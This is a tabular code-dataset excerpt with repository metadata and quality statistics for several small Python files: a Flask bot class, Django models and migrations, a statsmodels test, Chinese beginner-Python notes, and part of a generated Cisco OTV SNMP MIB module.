hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5a632c2d81db75d5cd9bb7cba73f7a2200be072a | 1,161 | py | Python | app/bot_app.py | rnehoroshev/flask-telegram-bot | 8da2e03d43fbc48f18c722cc4746ad1effa6ba0d | [
"Apache-2.0"
] | null | null | null | app/bot_app.py | rnehoroshev/flask-telegram-bot | 8da2e03d43fbc48f18c722cc4746ad1effa6ba0d | [
"Apache-2.0"
] | null | null | null | app/bot_app.py | rnehoroshev/flask-telegram-bot | 8da2e03d43fbc48f18c722cc4746ad1effa6ba0d | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
#
# A lightweight Telegram Bot running on Flask
#
# Copyright 2020 Rodion Nehoroshev <rodion.nehoroshev@gmail.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Custom Flask application"""
from flask import Flask
from redis import Redis
from rq import Queue
from telegram_bot import BotDispatcher
class BotApp(Flask):
"""Flask application class extended with application-specific attributes"""
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
# Application-specific fields and methods
self.bot_dispatcher: BotDispatcher
self.redis: Redis
self.task_queue: Queue
| 32.25 | 79 | 0.740741 | 161 | 1,161 | 5.273292 | 0.596273 | 0.070671 | 0.030624 | 0.037691 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008412 | 0.180879 | 1,161 | 35 | 80 | 33.171429 | 0.884332 | 0.67528 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.4 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
5a6345beaf42dc42e738b90bd53ff50aa2a795e1 | 92 | py | Python | tools/config.py | emiliopomares/flow-separation-prediction | ca4585a8263cd5933889fbd763154e2f3851969a | [
"MIT"
] | null | null | null | tools/config.py | emiliopomares/flow-separation-prediction | ca4585a8263cd5933889fbd763154e2f3851969a | [
"MIT"
] | null | null | null | tools/config.py | emiliopomares/flow-separation-prediction | ca4585a8263cd5933889fbd763154e2f3851969a | [
"MIT"
] | null | null | null | import os
config = {
'project_path': os.getcwd() + '/../openfoam/run/Airfoil2D_full/'
} | 18.4 | 68 | 0.641304 | 11 | 92 | 5.181818 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012821 | 0.152174 | 92 | 5 | 69 | 18.4 | 0.717949 | 0 | 0 | 0 | 0 | 0 | 0.473118 | 0.344086 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5a6877293bcfc8b460c2f3a053089600a6da2217 | 1,053 | py | Python | statsmodels/datasets/tests/test_data.py | dieterv77/statsmodels | ec3b6d02c96cd9c8f4b993434f0bbae4b3e91a21 | [
"BSD-3-Clause"
] | 34 | 2018-07-13T11:30:46.000Z | 2022-01-05T13:48:10.000Z | venv/lib/python3.6/site-packages/statsmodels/datasets/tests/test_data.py | HeyWeiPan/vnpy_crypto | 844381797a475a01c05a4e162592a5a6e3a48032 | [
"MIT"
] | 6 | 2015-08-28T16:59:03.000Z | 2019-04-12T22:29:01.000Z | venv/lib/python3.6/site-packages/statsmodels/datasets/tests/test_data.py | HeyWeiPan/vnpy_crypto | 844381797a475a01c05a4e162592a5a6e3a48032 | [
"MIT"
] | 28 | 2015-04-01T20:02:25.000Z | 2021-07-03T00:09:28.000Z | import importlib
import numpy as np
import pandas as pd
import nose
import pytest
import statsmodels.datasets
from statsmodels.datasets.utils import Dataset
exclude = ['check_internet', 'clear_data_home', 'get_data_home',
'get_rdataset', 'tests', 'utils', 'webuse']
datasets = []
for dataset_name in dir(statsmodels.datasets):
if not dataset_name.startswith('_') and dataset_name not in exclude:
datasets.append(dataset_name)
# TODO: Remove nottest when nose support is dropped
@nose.tools.nottest
@pytest.mark.parametrize('dataset_name', datasets)
def test_dataset(dataset_name):
dataset = importlib.import_module('statsmodels.datasets.' + dataset_name)
data = dataset.load()
assert isinstance(data, Dataset)
assert isinstance(data.data, np.recarray)
df_data = dataset.load_pandas()
assert isinstance(df_data, Dataset)
assert isinstance(df_data.data, pd.DataFrame)
# TODO: Remove when nose support is dropped
def test_all_datasets():
for dataset in datasets:
test_dataset(dataset)
| 28.459459 | 77 | 0.746439 | 138 | 1,053 | 5.528986 | 0.384058 | 0.100917 | 0.028834 | 0.044561 | 0.06291 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.159544 | 1,053 | 36 | 78 | 29.25 | 0.862147 | 0.08642 | 0 | 0 | 0 | 0 | 0.108446 | 0.021898 | 0 | 0 | 0 | 0.027778 | 0.153846 | 1 | 0.076923 | false | 0 | 0.307692 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
5a69cd0a2bbba2c936c06e234b1edd10181117d2 | 61 | py | Python | immudb/constants.py | opvizor/immudb-py | 9e7c6acd42ffcb5416a79397f62979b7991fc8df | [
"Apache-2.0"
] | null | null | null | immudb/constants.py | opvizor/immudb-py | 9e7c6acd42ffcb5416a79397f62979b7991fc8df | [
"Apache-2.0"
] | null | null | null | immudb/constants.py | opvizor/immudb-py | 9e7c6acd42ffcb5416a79397f62979b7991fc8df | [
"Apache-2.0"
] | null | null | null | LEAF_PREFIX = 0
NODE_PREFIX = 1
ROOT_CACHE_PATH = "rootfile"
| 15.25 | 28 | 0.770492 | 10 | 61 | 4.3 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038462 | 0.147541 | 61 | 3 | 29 | 20.333333 | 0.788462 | 0 | 0 | 0 | 0 | 0 | 0.131148 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5a7489f17f60526781aa0256a01ee1ce9045c96c | 3,921 | py | Python | day1/day1_demo1.py | ldolin/shixi0 | ccc08130b0d16542f1c7bc259019d5a219a7c9b2 | [
"Apache-2.0"
] | null | null | null | day1/day1_demo1.py | ldolin/shixi0 | ccc08130b0d16542f1c7bc259019d5a219a7c9b2 | [
"Apache-2.0"
] | null | null | null | day1/day1_demo1.py | ldolin/shixi0 | ccc08130b0d16542f1c7bc259019d5a219a7c9b2 | [
"Apache-2.0"
] | null | null | null | """
zhushi
python组成
程序由模块组成
模块由语句,函数,类,数据
语句包含表达式
表达式建立并处理数据对象
python核心类型
数字:int-- 0和负数,float,布尔True/值为1,False/值为0
字符串:str
列表
字典
查看变量类型:type()
算数运算符+,-,*,/,//(地板除--取整),**(幂运算 --求次方),%(取余) 除数不能为0
+ 一,数值运算(同类型相加)
二,字符类-拼接字符串
- 一,数值运算
* 一,数值运算
二,字符类-重复输出目标字符串
/ 一,数值运算
// 一,作用 除法取整 ,格式 a//b
= 一,赋值操作a=5
a,b = 4,5
a=b=c=5
二,交换
复合赋值运算符
+=
-=
*=
/=
//=
**=
%=
比较运算
> ,<,>=,<=,!=,==
返回值是布尔类型
注意:如果是数值,直接比较数值大小
如果是字符,比较ASCII
字符,整型无法比较
a 97
A 65
0 48
格式化输入:
%d 整数占位
%f 浮点数数占位
%s 字符串占位
基本输入函数
input:从标准输入设备上读取一个字符串
返回值:用户输入的字符串
input接收的都是字符串,如果要数值运算,用函数强制转换
int :转为整型
float :转为浮点型
eval :保持原本输入数字的类型
python-if语句
if 真值表达式:
elif 真值表达式:
else:
1.不需要括号来控制格式和范围,用缩进
2.elif语句可以有一个或多个,也可以没有
3.else语句只能有一个,可以没有
条件表达式:表达式1 if 真值判断 else 表达式2
作用:根据真值表达式的值来决定表达式1还是表达式2,并返回结果
pass语句 作用:填充语法空白
布尔操作 and, or, not
not: 去反,对布尔值取反 用法: not 表达式(布尔值)
and: 与操作,优先返回假值对象 用法: 表达式1 and 表达式2
or: 或操作 ,优先返回真值对象 用法: 表达式1 or 表达式2
内建的数值型函数
abs(x) 取x绝对值
round(x, y) 对数值进行四舍五入, y是小数向右取整的位数,负数代表向左取整的数
pow(x, y, z=None) 相当于x**y,如果z不为None,则x**y%z
help(函数名) 用于查看函数帮助文档
"""
# ctrl+/ 选中多行注释或直接单行注释
# ctrl+d 复制上一行到下行
# a = 5
# b = 6
# a, b = b, a
# print(a)
# print(b)
# print('AB' > 'ABC') # False A-A B-B null<C
# print('C' > 'ABC') # True C>A
# name = input('输入姓名:')
# age = eval(input('输入age:'))
# gra = int(float(input('输入gra:')))
# print('%s今年%.2f岁,%.2f' % (name, age, gra))
# num = eval(input('输入整数:'))
# if num % 2 == 0:
# print('偶数')
# else:
# print('奇数')
# num = eval(input('输入整数:'))
# if num >= 1 & num <= 100 & num == 5:
# print('在')
# else:
# print('不在')
# num = eval(input('输入季度(1-4):'))
# if 1 <= num <= 4:
# print("这个月有:%d,%d,%d" % ((num-1) * 3+1, (num-1) * 3+2, (num-1) * 3+3,))
# else:
# print('输入错误')
# e = input('输入执行类型:')
# num1 = eval(input('输入整数1:'))
# num2 = eval(input('输入整数2:'))
# if e == '+':
# print(num1+num2)
# elif e == '-':
# print(num1-num2)
# elif e == '*':
# print(num1*num2)
# elif e == '/':
# if num2 != 0:
# print(int(num1/num2))
# else:
# print('被除数不应为零')
# else:
# print('该功能正在开发')
# e = eval(input('输入购物金额:'))
# print('需付款%.2f' % (e-20)) if not 0 < e >= 100 else print('需付款%.2f' % e)
# import random
# cus = eval(input('1:石头,2:剪刀,3:布:'))
# com = random.randint(1, 3)
# print('电脑是:%d' % com)
# if (cus == 1 and com == 2) or (cus == 2 and com == 3) or (cus == 3 and com == 1):
# print('你赢了')
# elif (cus == 1 and com == 3) or (cus == 2 and com == 1) or (cus == 3 and com == 2):
# print('你输了')
# elif (cus == 1 and com == 1) or (cus == 2 and com == 2) or (cus == 3 and com == 3):
# print('再来')
# else:
# print('你的输入不规范')
# num = eval(input('输入一个数:'))
# print(abs(num)) if num < 0 else print(num)
# k = eval(input('输入公里数:'))
# if 0 < k <= 3:
# print('应收费13元')
# elif 3 <= k <= 15:
# print('应收费%.2f元' % round((k-3)*2.3+13, 2))
# elif k <= 0:
# print('输入不合法')
# else:
# print('应收费%.2f元' % round(12*2.3+(k-15)*2.3*1.5+13, 2))
# s1 = float(input('请输入第1科成绩:'))
# s2 = float(input('请输入第2科成绩:'))
# s3 = float(input('请输入第3科成绩:'))
# print("最高成绩是:%.2f" % max(s1, s2, s3))
# print('最低成绩是:%.2f' % min(s1, s2, s3))
# print('平均成绩是:%.2f' % ((s1+s2+s3)/3.0))
# y = int(input('请输入年份: '))
# print(y, '是闰年') if (y % 400 == 0) or (y % 4 == 0 and y % 100 != 0) else print(y, '不是闰年')
# ti = eval(input('输入体重(公斤):'))
# sh = eval(input('输入身高(米):'))
# bmi = ti/sh**2
# if 0 < bmi < 18.5:
# print('体重过轻')
# elif 18.5 <= bmi <= 24:
# print('正常范围')
# elif bmi > 24:
# print('体重过重')
# else:
# print('bmi值异常')
| 19.703518 | 90 | 0.493242 | 584 | 3,921 | 3.311644 | 0.385274 | 0.055843 | 0.024819 | 0.021717 | 0.108066 | 0.050155 | 0.028438 | 0.028438 | 0.028438 | 0.028438 | 0 | 0.059835 | 0.288192 | 3,921 | 198 | 91 | 19.80303 | 0.633106 | 0.947207 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5a87a13b767716b6d71c478069201fc9f65a4ce0 | 1,240 | py | Python | blog/models.py | gnidoc327/django_web_dev_bookmark | 128003c4d94ebb896138c0878ecc8c0270481bc4 | [
"MIT"
] | null | null | null | blog/models.py | gnidoc327/django_web_dev_bookmark | 128003c4d94ebb896138c0878ecc8c0270481bc4 | [
"MIT"
] | null | null | null | blog/models.py | gnidoc327/django_web_dev_bookmark | 128003c4d94ebb896138c0878ecc8c0270481bc4 | [
"MIT"
] | null | null | null | from __future__ import unicode_literals
from django.contrib.auth.models import User
from django.utils.encoding import python_2_unicode_compatible
from django.db import models
from django.core.urlresolvers import reverse
@python_2_unicode_compatible
class Post(models.Model):
title = models.CharField('TITLE',max_length=50)
slug = models.SlugField('SLUG', unique=True, allow_unicode=True, help_text='one word for title alias.')
description = models.CharField('DESCRIPTION', max_length=100, blank=True, help_text='simple description text')
content = models.TextField('CONTENT')
create_date = models.DateTimeField('Create Date', auto_now_add=True)
modify_date = models.DateTimeField('Modify Date', auto_now=True)
owner = models.ForeignKey(User, null=True)
class Meta:
verbose_name = 'post'
verbose_name_plural = 'posts'
db_table = 'my_post'
ordering = ('-modify_date',)
def __str__(self):
return self.title
def get_absolute_url(self):
return reverse('blog:post_detail', args=(self.slug,))
def get_previous_post(self):
return self.get_previous_by_modify_date()
def get_next_post(self):
return self.get_next_by_modify_date()
| 34.444444 | 114 | 0.728226 | 165 | 1,240 | 5.193939 | 0.454545 | 0.058343 | 0.049008 | 0.056009 | 0.049008 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006809 | 0.170968 | 1,240 | 35 | 115 | 35.428571 | 0.826848 | 0 | 0 | 0 | 0 | 0 | 0.11371 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.148148 | false | 0 | 0.185185 | 0.148148 | 0.814815 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
ce465fb3a4ddda908fff46b072b129bfe8ce6461 | 1,008 | py | Python | bvspca/animals/migrations/0002_auto_20170829_1455.py | rds0751/bvspca | f80eb90938f9db81d5c72a25aaa98869bbd6663a | [
"MIT"
] | 10 | 2019-02-25T07:06:09.000Z | 2022-03-23T08:12:06.000Z | bvspca/animals/migrations/0002_auto_20170829_1455.py | rds0751/bvspca | f80eb90938f9db81d5c72a25aaa98869bbd6663a | [
"MIT"
] | 18 | 2021-03-08T18:38:04.000Z | 2021-08-20T14:16:37.000Z | bvspca/animals/migrations/0002_auto_20170829_1455.py | rds0751/bvspca | f80eb90938f9db81d5c72a25aaa98869bbd6663a | [
"MIT"
] | 3 | 2019-01-29T05:14:22.000Z | 2021-02-18T11:58:34.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.4 on 2017-08-29 20:55
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('animals', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='animal',
name='lived_with_animal_types',
field=models.CharField(blank=True, max_length=200),
),
migrations.AlterField(
model_name='animal',
name='lived_with_animals',
field=models.CharField(default='Unknown', max_length=10),
),
migrations.AlterField(
model_name='animal',
name='lived_with_kids',
field=models.CharField(default='Unknown', max_length=10),
),
migrations.AlterField(
model_name='animal',
name='special_needs',
field=models.CharField(blank=True, max_length=100),
),
]
| 28 | 69 | 0.589286 | 103 | 1,008 | 5.553398 | 0.495146 | 0.13986 | 0.174825 | 0.202797 | 0.61014 | 0.61014 | 0.61014 | 0.477273 | 0.293706 | 0.293706 | 0 | 0.043478 | 0.292659 | 1,008 | 35 | 70 | 28.8 | 0.758766 | 0.06746 | 0 | 0.5 | 1 | 0 | 0.134472 | 0.024546 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.071429 | 0 | 0.178571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ce609109d9105f7e6ea435499b497fc4ffa0541e | 67,976 | py | Python | pysnmp-with-texts/CISCO-OTV-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 8 | 2019-05-09T17:04:00.000Z | 2021-06-09T06:50:51.000Z | pysnmp-with-texts/CISCO-OTV-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 4 | 2019-05-31T16:42:59.000Z | 2020-01-31T21:57:17.000Z | pysnmp-with-texts/CISCO-OTV-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module CISCO-OTV-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CISCO-OTV-MIB
# Produced by pysmi-0.3.4 at Wed May 1 12:09:07 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueRangeConstraint, ConstraintsIntersection, SingleValueConstraint, ValueSizeConstraint, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "ConstraintsIntersection", "SingleValueConstraint", "ValueSizeConstraint", "ConstraintsUnion")
ciscoMgmt, = mibBuilder.importSymbols("CISCO-SMI", "ciscoMgmt")
Cisco2KVlanList, = mibBuilder.importSymbols("CISCO-TC", "Cisco2KVlanList")
InterfaceIndexOrZero, = mibBuilder.importSymbols("IF-MIB", "InterfaceIndexOrZero")
InetAddress, InetAddressType, InetAddressPrefixLength = mibBuilder.importSymbols("INET-ADDRESS-MIB", "InetAddress", "InetAddressType", "InetAddressPrefixLength")
VlanIndex, = mibBuilder.importSymbols("Q-BRIDGE-MIB", "VlanIndex")
SnmpAdminString, = mibBuilder.importSymbols("SNMP-FRAMEWORK-MIB", "SnmpAdminString")
ObjectGroup, ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ObjectGroup", "ModuleCompliance", "NotificationGroup")
Bits, IpAddress, Unsigned32, ModuleIdentity, Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn, Integer32, TimeTicks, Gauge32, ObjectIdentity, NotificationType, Counter64, iso, MibIdentifier = mibBuilder.importSymbols("SNMPv2-SMI", "Bits", "IpAddress", "Unsigned32", "ModuleIdentity", "Counter32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Integer32", "TimeTicks", "Gauge32", "ObjectIdentity", "NotificationType", "Counter64", "iso", "MibIdentifier")
TextualConvention, RowStatus, DisplayString, MacAddress, TruthValue, StorageType = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "RowStatus", "DisplayString", "MacAddress", "TruthValue", "StorageType")
ciscoOtvMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 9, 9, 810))
ciscoOtvMIB.setRevisions(('2013-08-05 00:00',))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
if mibBuilder.loadTexts: ciscoOtvMIB.setRevisionsDescriptions(('Initial version of this MIB module.',))
if mibBuilder.loadTexts: ciscoOtvMIB.setLastUpdated('201308050000Z')
if mibBuilder.loadTexts: ciscoOtvMIB.setOrganization('Cisco Systems, Inc.')
if mibBuilder.loadTexts: ciscoOtvMIB.setContactInfo('Cisco Systems Customer Service Postal: 170 W Tasman Drive San Jose, CA 95134 USA Tel: +1 800 553-NETS E-mail: cs-snmp@cisco.com')
if mibBuilder.loadTexts: ciscoOtvMIB.setDescription("This MIB module is for configuration & statistic query of Overlay Transport Virtualization (OTV) functionality on Cisco routers and switches. Overlay Transport Virtualization is a Cisco's innovative LAN extension technology. It is an IP-based functionality that provides Layer 2 extension capabilities over any transport infrastructure: Layer 2 based, Layer 3 based, IP switched, label switched, and so on. OTV provides an overlay that enables Layer 2 connectivity between separate Layer 2 domains while keeping these domains independent and preserving the fault- isolation, resiliency, and load-balancing benefits of an IP- based interconnection. OTV introduces the concept of MAC routing, which means a control plane protocol is used to exchange MAC reachability information between network devices providing LAN extension functionality. This is a significant shift from Layer 2 switching that traditionally leverages data plane learning, and it is justified by the need to limit flooding of Layer 2 traffic across the transport infrastructure. OTV also introduces the concept of dynamic encapsulation for Layer 2 flows that need to be sent to remote locations. Each Ethernet frame is individually encapsulated into an IP packet and delivered across the transport network. Finally, OTV provides a native built-in multi-homing capability with automatic detection, critical to increasing high availability of the overall solution. Two or more devices can be leveraged in each data center to provide LAN extension functionality without running the risk of creating an end-to-end loop that would jeopardize the overall stability of the design. The followings detail the OTV specific terminology: Edge Device The edge device performs OTV functions: it receives the Layer 2 traffic for all VLANs that need to be extended to remote locations and dynamically encapsulates the Ethernet frames into IP packets that are then sent across the transport infrastructure. Internal Interfaces To perform OTV functionality, the edge device must receive the Layer 2 traffic for all VLANs that need to be extended to remote locations. The Layer 2 interfaces, where the Layer 2 traffic is usually received, are named internal interfaces. Join Interface The Join interface is used to source the OTV encapsulated traffic and send it to the Layer 3 domain of the data center network. Overlay Interface The Overlay interface is a logical multi-access and multicast- capable interface that must be explicitly defined by the user and where the entire OTV configuration is applied. The following terms are used throughout this MIB: AED Authoritative Edge Device ARP Address Resolution Protocol DNS Domain Name System ISIS Intermediate System to Intermediate System Routing Protocol LSPDB Link State PDU Database OTV Overlay Transport Virtualization VLAN Virtual Local Area Network VPN Virtual Private Network")
ciscoOtvMIBNotifs = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 810, 0))
ciscoOtvMIBObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 810, 1))
ciscoOtvMIBConform = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 810, 2))
cotvGlobalObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 1))
cotvOverlayObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 2))
cotvAdjacencyObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 3))
cotvArpNdObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 4))
cotvRouteObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5))
cotvSiteObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 1, 1))
cotvGlobalStatsObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 1, 2))
cotvSiteIdAdmin = MibScalar((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 1, 1, 1), OctetString().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(4, 4), ValueSizeConstraint(6, 6), ))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: cotvSiteIdAdmin.setStatus('current')
